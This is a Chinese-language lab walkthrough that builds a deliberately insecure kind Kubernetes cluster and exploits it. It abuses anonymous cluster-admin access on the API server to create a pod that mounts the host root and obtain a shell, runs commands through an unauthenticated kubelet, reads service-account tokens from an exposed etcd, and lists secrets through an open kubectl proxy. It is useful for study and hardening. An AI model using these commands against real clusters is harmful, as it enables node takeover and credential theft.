kind 部署 1master 1worker 开放监听(v1.23) 集群。
kind create cluster --config config.yaml
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
name: demo
nodes:
- role: control-plane
image: kindest/node:v1.23.4
extraPortMappings:
- containerPort: 6443
hostPort: 26443
listenAddress: "0.0.0.0"
protocol: TCP # 显式声明协议(高版本Kind需要配置才能映射成功)
- containerPort: 10250
hostPort: 20250
listenAddress: "0.0.0.0"
protocol: TCP # 显式声明协议(高版本Kind需要配置才能映射成功)
- containerPort: 2379
hostPort: 22379
listenAddress: "0.0.0.0"
protocol: TCP # 显式声明协议(高版本Kind需要配置才能映射成功)
- role: worker
image: kindest/node:v1.23.4
注:受新版本 Kind(v0.11+)的主动安全特性 的影响,会限制部分高位端口的映射,需要配置显式声明协议才能映射成功
成因
运维人员配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使 6443 端口允许匿名用户以管理员权限向集群内部下发指令
(把匿名用户绑定到了管理员组)
未配置前
curl -k https://xxxx:26443/api/v1/namespaces/kube-system/pods
漏洞环境配置
#创建一个 ClusterRoleBinding 资源
#资源名字为 system:anonymous
#作用: 将集群角色 cluster-admin 绑定到 system:anonymous 主体,
kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous
#删除角色绑定
kubectl delete clusterrolebinding system:anonymous
获取 kube-system 中的 Pod
#获取 kube-system 命名空间下的所有 Pod 信息, 使用jq筛选一下不然内容太多
curl -k https://xxxx:26443/api/v1/namespaces/kube-system/pods | jq '.items[].metadata.name'
可以发现现在是可以匿名访问apiserver获取集群信息,但是我们现在只有一个未授权访问,我们可以通过下一步获取到集群内Node pod的操作权限
创建恶意容器(允许hostPath) 把宿主机根目录挂载到容器的/host目录
curl -k -X POST \
-H "Content-Type: application/json" \
-H "Host: ip:26443" \
-d '{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-4444\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test-4444\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"
},
"name": "test-4444",
"namespace": "default"
},
"spec": {
"containers": [
{
"image": "nginx:latest",
"imagePullPolicy": "IfNotPresent",
"name": "test-4444",
"volumeMounts": [
{
"mountPath": "/host",
"name": "host"
}
]
}
],
"volumes": [
{
"hostPath": {
"path": "/",
"type": "Directory"
},
"name": "host"
}
]
}
}' \
https://116.198.201.0:26443/api/v1/namespaces/default/pods
执行命令后发现恶意容器 test-4444
已经创建成功
#外部查看一下是否创建成功
curl -k https://116.198.201.0:26443/api/v1/namespaces/default/pods | jq '.items[].metadata.name'
恶意容器中执行命令
#报错的方法
curl -k https://116.198.201.0:26443/api/v1/namespaces/default/pods/test-4444/exec?stdout=1&stderr=1&tty=true&command=whoami
返回400
原因是:对于 websocket 连接,首先进行 http(s) 调用,然后是使用 HTTP Upgrade 标头对websocket 的升级请求,curl/Postman 不支持从 http 升级到 websocket,因此错误。
(此方法报错)尝试用 wscat 工具发送包,还是报错,
wscat -n -c 'https://116.198.201.0:26443/api/v1/namespaces/default/pods/test-4444/exec?stdout=1&stderr=1&tty=true&command=whoami'
这里在本机用 kubectl 成功执行命令
#windows
kubectl.exe --insecure-skip-tls-verify -s https://116.198.201.0:26443 -n default exec -it test-4444 -- id
#linux
kubectl --insecure-skip-tls-verify -s https://116.198.201.0:26443 -n default exec -it test-4444 -- id
会让你输入账号密码,随便填就行
获取恶意Pod的shell
kubectl --insecure-skip-tls-verify -s https://116.198.201.0:26443 -n default exec -it test-4444 -- /bin/bash
成因
10250 端口是 kubelet API默认的 HTTPS 端口,该端口对外提供了 Pod 和 Node 的相关信息,如果该端口对公网暴露,并且关闭授权,则可能导致攻击。
未配置前
curl -k https://116.198.201.0:20250/pods
漏洞环境配置
将 busybox 程序复制到节点中,避免命令相关问题,方便后续操作
docker cp busybox <CONTAINER ID>:/busybox
进入 master 节点 并给busybox可执行权限
docker exec -it demo-control-plane /bin/bash
chmod 777 busybox
备份配置文件
cp /var/lib/kubelet/config.yaml /var/lib/kubelet/config-tmp.yaml
设置不安全的操作
./busybox vi /var/lib/kubelet/config.yaml
就是将下面的 false 改成 true,允许匿名身份验证;mode 改为 AlwaysAllow,启用 Webhook 身份验证方式,该方式允许 kubelet 使用外部的身份验证服务进行验证
节点中运行命令重启kubelet组件使配置生效 systemctl restart kubelet
获取 kube-system 中的 Pod
再访问这个端口就会发现不需要认证
curl -k https://116.198.201.0:20250/pods | jq '.items[].metadata.name'
我们此时可以在特权容器中执行命令 (kube-proxy 就是一个特权容器)
curl -k https://116.198.201.0:20250/run/{namespace}/{podName}/{appName} -d "cmd=whoami"
curl -k https://116.198.201.0:20250/run/kube-system/kube-scheduler-demo-control-plane/kube-scheduler -d "cmd=id"
#这里执行失败了
curl -k https://116.198.201.0:20250/run/kube-system/kube-apiserver-demo-control-plane/kube-apiserver -d "cmd=id"
kubelet 的 /run/
接口在 Kubernetes v1.25 版本中被正式弃用,并在 v1.26 版本中完全移除
查看Kubernetes版本
高版本中用了更安全的 /exec/
代替了
这里用 kube-proxy执行报错找不到pod 但是信息是对的
但是用其他的Pod则由于pod是极简镜像导致无法执行命令
成因
在启动 etcd 时,如果没有指定 --client-cert-auth
参数打开证书校验,并且把 listen-client-urls
监听修改为 0.0.0.0(默认监听127.0.0.1),那么也就意味着这个端口被暴露在外,如果没有通过安全组防火墙的限制,就会造成危害。
未配置前
默认监听127.0.0.1,也就是只能在本地访问,一般都在 master 节点的宿主机上,将 busybox 程序复制到节点中,
docker cp busybox 29ea98d0081b:/busybox
进入 master 节点
docker exec -it demo-control-plane /bin/bash
chmod 777 busybox
./busybox netstat -tulpn |grep etcd
监听本地的私有地址 和 127.0.0.1。 这些都是集群内部或者本地才能访问的
备份配置文件
cp /etc/kubernetes/manifests/etcd.yaml /etc/kubernetes/manifests/etcd-tmp.yaml
设置不安全的配置文件
#--client-cert-auth=false
#--listen-client-urls=http://0.0.0.0:2379
./busybox vi /etc/kubernetes/manifests/etcd.yaml
注意这里是http 不是https
重启
systemctl restart kubelet
查看端口,设置成功
./busybox netstat -tulpn |grep etcd
查看 etcd 版本
curl http://116.198.201.0:22379/version
获取 token
etcdctl --insecure-transport --insecure-skip-tls-verify --endpoints=http://116.198.201.0:22379/ get --keys-only --prefix=true "/" | grep /secrets/kube-system/clusterrole
etcdctl --insecure-transport --insecure-skip-tls-verify --endpoints=http://116.198.201.0:22379/ get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-85nnn
这个就是secret包含的token了
成因
当运维人员需要某个环境暴露端口或者 IP 时,会用到 Kubectl Proxy。
漏洞环境配置
使 API server 监听在本地的 8009 端口上,设置接收所有主机的请求,
#启动一个 **Kubernetes API Server 的本地代理**,允许通过 HTTP 访问集群的 API
kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=22222
获取Kubernetes 集群中的 Secret(密钥)资源****
curl -k http://116.198.201.0:22222/api/v1/namespaces/kube-system/secrets